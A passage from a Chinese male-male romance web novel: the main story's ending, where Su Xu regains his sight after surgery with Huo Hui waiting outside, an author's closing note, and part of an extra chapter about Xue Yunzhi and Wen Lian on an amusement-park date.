霍回帮他捋了捋额发,凑近贴着他的额头,半晌,唇贴上苏序的,认真虔诚地亲了亲,没有伸舌头也没有深入,只是贴着唇亲了下,却缠绵悱恻,好像无声中述说了许多未尽的话语。 苏序双手揽住他,也亲了亲他,弯眸安慰他:“我真的没事。” …… 苏序的眼睛是被杀伤性武器弄伤的,当初被判定的是,恢复视力的概率极低,接近于零。 但联邦科技正处于发展迅猛的阶段,目前的这项医疗技术可以让他重见光明。但由于技术发布没多久,鱼父只能说,有百分之七十的把握手术成功。 听见不是百分百,霍回不放心,他看向苏序,捏了捏他的手,无声询问。 “我要接受手术。”苏序的声音平静但坚定。 霍回看着他,最后说:“好。” 他总是无条件支持苏序的任何决定,即便心里仍旧十分担心,放心不下让他接受这场手术。 手术过程中,霍回一直守在手术室外,视线片刻不移地紧盯着门,手紧捏成拳头,紧张得都不敢喝水,浑身萦绕着低气压。 苏自明也在手术室外面等着苏序。他看着表情担心不似作伪的霍回,第一反应是这家伙又在装什么呢。 但霍回已经一动不动看着手术中三个字超过五个小时了,一个人如果是演的话,演不到这种程度。 苏自明叹了口气,直白地说:“你是真的担心我弟弟吗?” 霍回反应了好一会儿,才意识到这是在和他说话,迟缓地转过头来,看着苏自明,“嗯”了一声。 两个男人沉默对视着。 霍回率先开口:“抱歉,我知道前段时间我做了很多……很过分的事情,但不管您相不相信,我都要说,那些皆非出自我愿。我前几天让律师起草了一份协议,我的全部个人财产,无论是之前所得,还是之后所得,都归属于序序。他随时想要和我离婚都可以,我会净身出户。我和他之间的关系,永远都是他说了算。就算手术……就算是那样万分之一的可能吧,我最不想看到的情况发生了,以后我也会做他的眼睛。” “把我的眼睛给他也可以。” 霍回说得十分认真,连苏自明这种混迹政坛的老狐狸都看不出他脸上有任何作假的成分。 苏自明看着他,他的状态像是回到了他和苏序还没结婚的时候。他想了想,大抵猜到了结婚这三年或许是出了什么他不知道的事。 霍回的这一份保证,他不知道还能挑出什么刺来,只是说:“等他出来再说。” 两人就一直守在手术室外面等待着。 等到灯灭了,霍回迫不及待地起身走上了前。 “怎么样?手术顺利吗?” * 苏序躺在病床上,唇紧闭着,皮肤白净,蒙在眼睛上的三指半宽的纱布,被一圈一圈取了下来。 霍回紧紧捏着他的手,目不转睛地看着他的脸,等到那双眼睛显露了出来,他才压制着自己的情绪,轻声问:“怎么样?” 苏序纤长的眼睫轻颤一下,旋即抬起,眼珠转动,左看看右看看。 霍回时刻关注着他的表情,没有看见激动的神情,他心跳陡然一滞,像落进了无尽深渊,心疼漫上了眼睛,但很快,他就调整好了情绪,把苏序轻轻搂进怀里:“没关系没关系。” “什么没关系?”苏序歪了下头,下巴搁在他宽阔硬朗的肩膀上。 “序序,就算……”霍回说不出口,也不忍心说出口,他只是轻轻拍着苏序的后背,表示自己会永远陪着他。 苏序噗嗤笑了一声,用力回抱住他,高兴地说:“我看得见了!” 霍回被这个惊喜砸得懵了一瞬:“啊?” “我说,我看的见了!”苏序抱住他,用力地亲了亲他。 然后他就看见霍回脸上青色的胡茬,故意皱了皱鼻子:“你怎么这么不修边幅了啊,仗着我看不见,就不打理自己了?” 霍回眼睛红了,喉间堵塞,一个字也说不出来。 苏序不免有些心疼,也不逗他了,凑近去亲了亲他:“好了好了,就算不刮胡子我也爱你。” “序序,”霍回扬起了一个笑,“我也爱你。” ———正文完结——— 作者有话说: 完结撒花花~谢谢宝宝们的一路陪伴呀!我们下本再见 第45章 单元一番外:大学[番外] 午后的阳光从梧桐叶的缝隙里漏下来, 天很蓝,万里无云,是难得的晴朗天气。 游乐园里, 冰淇淋车里飘来香草精的甜味,那辆白色的车子就停在旋转木马旁边, 三三两两的人排队在那里等候。 “来一口。”薛蕴知手里拿着个甜筒, 伸手递到了温涟嘴边,低眸看着他。 闻言,温涟下意识张开了嘴,甜筒挨到了他的嘴唇,他咬下一口, 冰沁的甜味立马在口腔里绽开。 他戴着一顶鸭舌帽,压下了柔软的头发, 脸上没有架着那副厚重的黑框眼镜, 一双剔透的浅瞳便显露了出来, 看上去像是温顺单纯的羔羊,偏长的头发微微挡住后颈。 薛蕴知毫不在意地在他咬过一口的地方紧接着咬下一口, 温涟视线定定地望着他, 看着他嘴唇上沾了点白色奶油, 刚想抬手帮他擦掉, 他自己就率先反应了过来,伸舌卷了进去。 温涟的手顿在半空, 薛蕴知也注意到了他的那只手,舌尖扫过上唇的奶油后, 又低头轻轻舔了下他的指腹。 只是蜻蜓点水的一扫而过, 温涟瞳孔陡然缩小,手指迟缓地蜷了下, 被这突然到来的惊喜砸得脑袋都晕了,猛地抬眼去看薛蕴知。 薛蕴知却是抿了抿唇,一脸严肃地扭正了头,目视前方,强装淡定,但耳朵尖却红了。 “知知……”温涟道。 薛蕴知此地无银三百两,镇定道:“我什么都没做。” 温涟抬手捏了捏他的耳垂,弯唇,陈述着一个事实:“你耳朵红了。” “太热了。”薛蕴知瞥他一眼,桃花眼轻轻眯起,像是在警告他别说了,温涟完全压不下眼里的笑意,他知道薛蕴知脸皮薄,于是很配合地闭上了嘴。 甜筒被两人一口一口吃掉了,凑近咬下时,两人之间的距离很近,有种青涩又心知肚明的暧昧。 玩了一趟过山车下来,薛蕴知唇色有点泛白,紧紧抿着唇,迅速找了个长椅坐下。 温涟蹲在他面前,用湿巾擦了擦他的脸:“你是不是被吓到了。” 上去之前,温涟就看薛蕴知表情好像有点不自然,但是等他去问,薛蕴知又一本正经地说:“男人不能说不行。” 温涟猜到他可能有点恐高,但鲜少看见他失态的一面,因此听见他这句话,也就没有阻止。 但薛蕴知在过山车上咬紧了牙,一声也没有叫出声,绷着一张帅脸,看起来像是进入了所向披靡的无敌形态。 温涟凑过去,在呼啸的风声中说:“你可以喊出声。” 他这是真诚的建议,害怕但是憋着不喊,积压在心里的压力就更大了。 薛蕴知慢吞吞地侧头看了他一眼,浓密的睫毛颤动个不停,桃花眼有点泛红,虽然一个字都没说,但就是从头到脚都写满了委屈,温涟的心一瞬间软得一塌糊涂。 但过山车又不能中途停下,薛蕴知咬牙坚持了全程,过山车到达终点缓缓停下来后,其他人都连忙下去了,就他还坐在座位上没动,低着头。 “知知?”温涟歪着头,从方便的角度去看他的脸。 薛蕴知伸手准确无误抓住他的手臂,借力站了起来,咽下了口水,淡淡说:“没事。” 温涟看着他发白的嘴唇,和泛红的眼球,忍不住弯了下唇,一时间想问,真的没事吗? 薛蕴知双脚踩在了地上,还有点软飘飘的,侧头看见温涟想笑又在忍笑的表情,耳朵立马又红了,强调道:“真的没事,我还能再玩一次。” 温涟脸上的笑更加忍不住了,他握住薛蕴知的手,手指强硬地插/入他的指缝中,和他十指相扣,笑着说:“是我不敢玩了,我们出去休息下吧。” “好。”薛蕴知舒出口气。 温涟看他脸色实在有点差,让他先在椅子上坐一会儿,他去给他买瓶水。 等到他跑着回来的时候,就看见有人在和薛蕴知搭话,是个很年轻的男生,看起来像是和他们一样,都是大学生。温涟脸上的笑意一瞬间消失得无影无踪,眸色变得冰凉。 “薛哥,今天上午的篮球比赛你怎么不来啊?主力少了你,我们差点就输了!”青春洋溢的男生一边说着,一边坐在了薛蕴知身边,叽叽喳喳地说着话。 “那你们赢了没?”薛蕴知挑了下眉,一副你们最好是赢了的表情。 “当然!就咱们队这个实力,就算薛哥你不在,但打隔壁学校那还不是轻而易举?”男生得意洋洋地自夸着,从自己背包里拧开一瓶水,突然注意到薛蕴知的唇色发白,他顿了下,把这瓶水递到薛蕴知面前。 “这瓶我刚开,你要不先喝一口,我看你脸色不太……” “知知,我回来了。” 横插进来的一瓶水撞了下男生伸出来的手,挤进了薛蕴知的视线里。 男生一脸懵逼地抬起头,挠了挠脑袋,迟疑着要不要收回手,看向了薛蕴知,但他竟然从薛蕴知那张万年冰山脸上看见了一丝笑意。 薛蕴知坦荡地接过温涟手里那瓶水,仰头灌下一口,唇色被润得稍微好看了一点,冷水顺着喉腔流下,给难受的胃做出了安抚。他朝男生举了下水瓶:“有水,谢了。” 男生看看他,又看看那个戴鸭舌帽,低着头试图挡住自己脸的陌生男生,咂摸出了点不对劲的味道,试探性问:“薛哥,这位是?” 温涟往薛蕴知身边挤了挤,但是没有更多逾矩的表现了,安静地当个小摆件。他就真的像他说的一样,不会乱吃飞醋,也不会在没经过薛蕴知允许的情况下就做出一些自己爽了的举动。 薛蕴知看着他这么安静地待在自己身边,罕见地乖巧,心里不由升起了点愉悦情绪。伸手一把揽住了他的肩,把他搂得离自己近了不少,迎着男生目瞪口呆的神情,沉稳冷淡地宣告:“男朋友。” 男生:“啊??啊……薛哥你是……啊?” 男生视线在他们两人来回移动,一脸的不可置信。薛哥是基佬?看着也不像啊??而且他以为薛哥整天冷着脸,是封心锁爱了呢!没想到居然有对象了。 “我是。”薛蕴知知道他的未尽之语是什么,肯定了他的想法。 温涟眼睛亮晶晶地看着他,心脏扑通扑通地跳着,这样被知知当众承认自己的身份,让他获得一种无比强烈的安全感与安心。他抬眼随意瞥了一眼这个男生,终于有了点印象。 好像是校篮球队的,那薛蕴知和这个人就是队友关系。 温涟一向对薛蕴知身边的所有人都抱有一种强烈的敌意,尤其是这种长得有几分姿色的同龄人,就更能唤起他的恐惧。 他总害怕薛蕴知从自己身边离开,他自己也知道,他不是一个正常人,如果薛蕴知有一天不想再忍受他了怎么办?毕竟他的父亲、母亲、所谓的哥哥,都是这样做的…… 他以前对和薛蕴知形影不离的江明敌意很深,而现在江明和他们不在同一所学校了,自然没有那么多时间待在一起了。 有很多时间待在一起的只有他和薛蕴知。 温涟的眸色很淡,天然带着几分凉薄。 “这个是我的篮球队的队友。”薛蕴知低眸和他咬着耳朵,动作亲昵,彰显了两人之间极近的关系。 温涟一抬眸,就对上薛蕴知那双天然含情的桃花眼。 男生后知后觉薛蕴知这是在和男朋友约会,发现自己误入了他们的约会现场,甚至可能还打扰到了他们约会,他立马感到了几分羞赧,礼貌地朝他们打了招呼后,就快马加鞭跑了。 薛蕴知又喝了一口凉水,单手捂着胃,轻轻眨了下眼。这个过山车真是有点太刺激了,他要不着痕迹地让温涟选择更温和的项目。 温涟则是还陷在方才的对话中,他沉默几秒后,问道:“上午是篮球赛吗?你没和我提起过。” “我们不是早就约好今天出来玩吗?”薛蕴知低头看着他,“那场篮球赛的对手实力一般,有他们就够了,还是这边更需要我……嗯,我也更想出来和你一起玩。” 薛蕴知不会说什么甜言蜜语,他说的都是实话,但他不知道他顶着这样一张冷峻的帅脸,一脸认真地说这样真诚的情话的杀伤力有多大。总之温涟是呆呆地盯着他的脸在看了。 “咳咳,”薛蕴知轻咳了两声,转移话题,“我们去玩下一个项目吧,我看别人谈恋爱都玩那个。” 温涟下意识觉得是旋转木马,心里漾起了甜蜜的彩虹泡泡,刚要抿出一个腼腆的笑,下一秒就看见薛蕴知抬手指了指鬼屋的方向。 “这个吧,怎么样?”薛蕴知说得认真。 温涟的视线在旋转木马上多停留了一会儿,还是好想给坐在粉蓝色漂亮木马上的薛蕴知拍上几张照片,一定很有反差很可爱。 但薛蕴知没看出他脑子里在想什么,他对着鬼屋跃跃欲试,温涟也不得不看向鬼屋:“好啊。” 他心里想着说不定薛蕴知害怕鬼,会在黑暗里慌张地躲进他怀里。然而他的希望落空了,薛蕴知不仅半点不害怕,甚至十分平静。 两个人面不改色地从入口走到了出口,出来之后面面相觑,都等着对方被吓到躲进自己怀里,结果没想到两人胆子都比天大。 “再去其他项目?”温涟提议。 薛蕴知眼睛多眨了几下,看着嗖嗖的跳楼机,听着此起彼伏的尖叫声,心里有点发慌,但还是努力维持住酷帅的外表,尽显男友魅力:“你还想玩什么,我都可以。” “旋转木马。” “啊?” 最后薛蕴知一个一米八几的大男生,坐在上下移动的旋转木马上僵直地转着圈,甜蜜的音乐声和粉嫩的装饰和他这个人的气质简直格格不入。 “知知!”温涟在外面朝他招手。 薛蕴知红着耳朵,强忍羞涩,举起手比了个耶。 “咔擦。” 快门按下,相纸定格住这一幕。《 》